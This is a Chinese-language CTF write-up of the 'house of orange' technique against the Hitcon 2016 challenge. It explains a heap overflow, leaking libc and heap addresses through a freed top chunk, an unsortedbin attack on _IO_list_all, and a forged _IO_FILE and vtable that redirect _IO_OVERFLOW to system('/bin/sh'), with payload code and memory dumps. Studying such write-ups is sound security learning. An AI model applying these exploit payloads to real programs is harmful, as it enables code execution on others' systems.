终于学到了house of orange,看了无数师傅的博客,终于马马虎虎理清了一点思路,还是得写点笔记以免忘掉。
概述
house of orange是来自Hitcon CTF 2016中的一道同名题目,其中使用了一种全新的攻击手段(现在也不新了2333),攻击的主要思路是利用unsorted attack
修改_IO_list_all
指针,并伪造_IO_FILE_plus
结构体及其vtable
(虚表)来劫持控制流。
直接上题目好了。。。
题目描述
程序菜单:
1 | +++++++++++++++++++++++++++++++++++++ |
程序保护全开_(:зゝ∠)_:
1 | CANARY : ENABLED |
程序分析
build函数:
用户输入house的名字、orange的颜色和价格,并使用两个结构体保存。
结构体:
1 | 00000000 house struc ; (sizeof=0x10, mappedto_6) |
1 | 00000000 orange struc ; (sizeof=0x8, mappedto_7) |
限制了只能build四次,每次build会申请3个chunk,其中只有第二个chunk(house name)可以控制大小,且最大为0x1000
1 | house = (house *)malloc(0x10uLL); |
upgrade函数:
修改house的name、orange的颜色和价格,只能修改最近build的house。
1 | printf("Length of name :"); |
修改name的地方没有检查size的大小,所以存在堆溢出
see函数
打印house的名字、orange的价格等,同样只能打印最近build的house。
漏洞分析
泄露libc基址和堆地址
发现程序中没有free函数
,导致常规的堆利用方法都很难使用,这便是house of orange的核心之一——在没有free函数的情况下得到一个释放的堆块(unsorted bin),从而泄露数据。
原理
考虑这么一种情况,假设在malloc时,程序中的bins里都没有合适的chunk,同时top chunk的大小已经不够用来分配这块内存了。那么此时程序将会调用sysmalloc
来向系统申请更多的空间,而我们的目的则是在sysmalloc
中的_int_free()
,以此来获得一块释放的堆块。
1 | else |
对于堆来说有两种拓展方式,一是通过改变brk来拓展堆,二是通过mmap的方式。其中只有brk拓展的方式才会调用到_int_free()
将老的top chunk释放掉,所以还需要满足一些条件。
1 | // 如果所需分配的chunk大小大于mmap分配阈值,默认为128K, |
由上诉代码可知,要想使用brk拓展,需要满足chunk size < 0x20000
同时,在使用brk拓展之前,还会进行一系列check。
1 | // 如果top chunk没有初始化,则size为0 |
这里主要关注如何对齐到内存页。现代操作系统都是以内存页为单位进行内存管理的,一般内存页大小为4kb(0x1000),那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。如:0x602020+0x20fe0=0x623000
。
整理以上代码,所需的条件有:
- 分配的chunk大小小于0x20000,大于top chunk的size
- top chunk大小大于 MINSIZE(不能太小就行)
- top chunk的inuse为 1
- top chunk的大小要对齐到内存页
满足了以上各种条件之后,就可以成功的调用_int_free()
来释放top chunk
1 | /* If possible, release the rest. */ |
此后,原先的top chunk将被放入unsorted bin中。
下一次分配时,就将会从unsorted bin中切割合适的大小,而切割下来的chunk的fd和bk的值将会是libc中的地址了,同时,若该chunk是large chunk,在fd_nextsize和bk_nextsizez中还会储存堆中的地址。由此便可以完成泄露了。
利用过程
先build一个house,通过upgrade从name溢出到top chunk,将top chunk的大小改为
0xfa1
(name chunk的大小为0x20)1
2
3build(0x10, 'aaaa')
payload = 'a'*0x18 + p64(0x21) + p64(0)*3 + p64(0xfa1)
upgrade(0x100, payload)1
2
3
4
5
6
7
8//内存情况:
0x55e0ebd68000: 0x0000000000000000 0x0000000000000021 <== house
0x55e0ebd68010: 0x000055e0ebd68050 0x000055e0ebd68030
0x55e0ebd68020: 0x0000000000000000 0x0000000000000021 <== name
0x55e0ebd68030: 0x6161616161616161 0x6161616161616161
0x55e0ebd68040: 0x6161616161616161 0x0000000000000021 <== orange
0x55e0ebd68050: 0x0000001f00000008 0x0000000000000000
0x55e0ebd68060: 0x0000000000000000 0x0000000000000fa1 <== top chunk申请一个大于top chunk的空间,触发brk来拓展top chunk。原top chunk将会被放入unsorted bin
1
build(0x1000, 'aaaa')
1
2
3
4//内存情况:
//因为我不是同一次运行,地址可能和前面不匹配
unsortedbin
all: 0x7f7ab34f37b8 (main_arena+88) —▸ 0x5598255700a0 ◂— 0x7f7ab34f37b8再申请一个大小合适的large chunk,该chunk将会从unsorted bin中切割下来。
1
build(0x400, 'a'*0x8)
1
2
3
4
5
6//内存情况:
pwndbg> x/32gx 0x559d1a1d40c0
0x559d1a1d40c0: 0x0000000000000000 0x0000000000000411
0x559d1a1d40d0: 0x6161616161616161 0x00007f732b8fddc8 <== libc
0x559d1a1d40e0: 0x0000559d1a1d40c0 0x0000559d1a1d40c0 <== heap
0x559d1a1d40f0: 0x0000000000000000 0x0000000000000000调用see(),输出name时,将会把libc的地址泄露出来。再调用upgrade(),把bk也全部填充为’a’,那么下一次see()就可以泄露出heap的地址。
劫持流程
接下来将会涉及到IO_FILE的利用,这种方法被称为FSOP(File Stream Oriented Programming)
FILE介绍
FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流。FILE结构在程序执行fopen等函数时会进行创建。
每个FILE结构都通过一个 _IO_FILE_plus结构体来定义,结构体如下:
1 | struct _IO_FILE_plus |
其中包括一个_IO_FILE
结构体和一个vtable
(虚表)指针。_IO_FILE
结构体保存了FILE的各种信息。vtable
(虚表)指针指向了一系列函数指针,稍后就会用到其中的函数。
_IO_FILE结构定义如下:
1 | struct _IO_FILE { |
整个结构不用完全掌握,大概了解就行。
在进程中的产生的各个_IO_FILE
结构会通过其中的struct _IO_FILE *_chain;
连接在一起形成一个链表,其中表头使用全局变量struct _IO_FILE_plus *_IO_list_all
来表示,通过_IO_list_all
就可以遍历所有_IO_FILE
结构。
_IO_jump_t *vtable结构定义如下:
1 | struct _IO_jump_t |
这里面保存了一系列的函数指针。
以上,主要需要了解的就是 _IO_FILE_plus、_IO_FILE、vtable3个结构以及 _IO_list_all指针的关系和及其内容。
_IO_FILE
各个成员的偏移如下:
1 | _IO_FILE_plus = { |
[注]在gdb中查看这些结构的指令:
1 | //查看_IO_list_all指针 |
unsortedbin attack
根据house of orange的流程,接下来将要控制_IO_list_all
指针的值,具体原因后面会讲到。这里我们采用unsortedbin attack来对它的值进行修改。
原理
在从unsorted bin中取出chunk时,会执行以下代码:
1 | bck = victim->bk; |
这里将最后一个chunk取出,并把倒数第二个chunk的fd
设置为unsorted_chunks(av)
,这里unsorted_chunks(av)
就是main_arena中top成员变量的地址(&main_arena+88)。
1 | //main_arena的结构 |
可以发现,如果我们将victim的bk
改写为某个地址,则可以向这个地址 + 0x10
的地方写入&main_arena+88
。
因为题目程序中存在堆溢出,所以可以轻松溢出到某个chunk的bk
,并将它改写。这里我们写入_IO_list_all - 0x10
,这样当从unsorted bin中取出它时,就可以成功将_IO_list_all
写为&main_arena+88
。
具体利用过程需要和后面FSOP配合。
FSOP
漏洞原理
因为
_IO_FILE
结构使用链表的结构管理,表头由_IO_list_all
维护。所以FSOP的核心思想就是劫持_IO_list_all的值并伪造链表和其中的_IO_FILE
在此之前,我们先了解一下malloc
对错误信息的处理过程.
在
malloc
出错时,会调用malloc_printerr
函数来输出错误信息1
2if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);而
malloc_printerr
又会调用__libc_message
;__libc_message
又调用abort
;abort
则又调用了_IO_flush_all_lockp
- 最后
_IO_flush_all_lockp
中会调用到vtable
中的_IO_OVERFLOW
函数
整个流程如下图:
所以如果可以控制_IO_list_all
的值,同时够伪造一个_IO_FILE
及其vtable
并放入FILE链表中,就可以让上述流程进入我们伪造的vtable
, 并调用被修改为system
的_IO_OVERFLOW
函数。
但是想要成功调用_IO_OVERFLOW
函数还需要绕过一些阻碍
1 | int _IO_flush_all_lockp (int do_lock) |
观察代码发现,_IO_OVERFLOW
存在于if
之中,根据短路原理,若要执行到_IO_OVERFLOW
,就需要让前面的判断都能满足,即:
1 | fp->_mode <= 0 |
或者
1 | _IO_vtable_offset (fp) == 0 |
以上两个条件至少要满足一个,这里我们将选择第一个,只需要构造mode
、_IO_write_ptr
和_IO_write_base
。因为这些都是我们可以伪造的_IO_FILE
中的数据,所以比较容易实现。
漏洞利用
在前面已经介绍过,可以通过unsortedbin attack来将_IO_list_all
指针的值修改为&main_arena+88
。
但这还不够,因为我们很难控制main_arena
中的数据,并不能在mode
、_IO_write_ptr
和_IO_write_base
的对应偏移处构造出合适的值。
所以我们将目光转向_IO_FILE
的链表特性。在前文_IO_flush_all_lockp
函数的代码最后,可以发现程序通过fp = fp->_chain
不断的寻找下一个_IO_FILE
。
所以如果可以修改fp->_chain
到一个我们伪造好的_IO_FILE
的地址,那么就可以成功实现利用了。
巧妙的是,_IO_FILE
结构中的chian
字段对应偏移是0x68,而在&main_arena+88
对应偏移为0x68的地址正好是大小为0x60的small bin
的bk,而这个地址的刚好是我们可以控制的。
1 | +0x00 [ top | last_remainder ] |
我们如果通过溢出,将位于unsorted bin中的chunk的size
修改为0x60。(注:现在unsorted bin中的chunk就是之前被释放的top chunk的一部分)
那么在下一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc将会进入大循环
,把unsorted bin中的chunk放回到对应的small bin或large bin中(具体流程参考ctfwiki)
因此,我们修改过size的chunk就会被放入大小为0x60的small bin
中,同时,该small bin
的fd和bk都会变为此chunk的地址。
这样,当_IO_flush_all_lockp
函数通过fp->_chain
寻找下一个_IO_FILE
时,就会寻找到smallbin 0x60
中的chunk。
只要在这个chunk中伪造好_IO_FILE
结构体以及vtable
,把_IO_OVERFLOW
设置为system
,然后就可以成功getshell了。
利用过程
直接构造payload
首先是padding,抵达被释放掉的top chunk。
1
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(1) + p32(0x1f) + p64(0)
接下来构造的内存具有双重身份,一是作为伪造的
_IO_FILE
;一是用于unsorted attack
的victim chunk,因为它位于unsorted bin中。然后开始构造
_IO_FILE
。因为要调用的_IO_OVERFLOW (fp, EOF)
被修改后为system(fp)
,所以在开头写入'/bin/sh\x00'
,让fp = "/bin/sh"
;又因为为了将这个chunk放入smallbin 0x60
,所以将size
位设置为0x61。1
fake_file = '/bin/sh\x00' + p64(0x61)
然后将
bk
的位置写入(IO_list_all - 0x10
,用作unsorted attack
1
fake_file += p64(0) + p64(IO_list_all - 0x10)
接下来的位置刚好是
_IO_write_base
和IO_write_ptr
。前面提到过需要构造fp->_IO_write_ptr > fp->_IO_write_base
1
fake_file += p64(0) + p64(1) #_IO_write_base ; _IO_write_ptr
接下来需要一段padding,直至
fp->mode
1
fake_file = fake_file.ljust(0xc0, '\x00') #padding
抵达
fp->mode
,构造fp->_mode <= 0
1
fake_file += p64(0) #mode <= 0
然后需要设置
vtable
指针,将它设置到当前地址相邻往后的地址,然后继续在后面构造vtable
就行了1
2
3payload += fake_file
payload += p64(0) + p64(0) #padding
payload += p64(heap_addr + 0x5d0) #vtable指针构造
vtable
1
2payload += p64(0)*3 #vtable
payload += p64(system) #将__overflow改为system写入数据
1
upgrade(0x800, payload)
触发漏洞
1
2p.recvuntil('Your choice : ')
p.sendline('1')调用
build
函数,由最初的分析可知,此处会申请3个chunk。- 申请第一个chunk时,大小为0x20,因为
fastbin
中没有chunk,所以会进入大循环,将我们前面构造好的chunk放入smallbin 0x60
。 - 在从
unsorted bin
中取出这个chunk时,又会触发unsortedbin attack
,改写_IO_list_all
指针。至此,所有数据都布置好了。 - 因为
unsortedbin attack
的时候破坏了unsorted bin
的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr
去打印错误信息,从而被我们劫持流程,执行到system
函数。
- 申请第一个chunk时,大小为0x20,因为
EXP
1 | #-*- coding:utf-8 -*- |
程序链接
后记
这篇文章写得是真的乱233333
在写好exp后,运行最后会报memory corruption
,我还以为出错了,又调了半天_(:зゝ∠)_,最后才反应过来程序本来就要调用malloc_printerr
。。。默默输了个ls
,看到回显感动得一匹。
话说这exp有一定概率会失败,并不清楚原因_(:зゝ∠)_。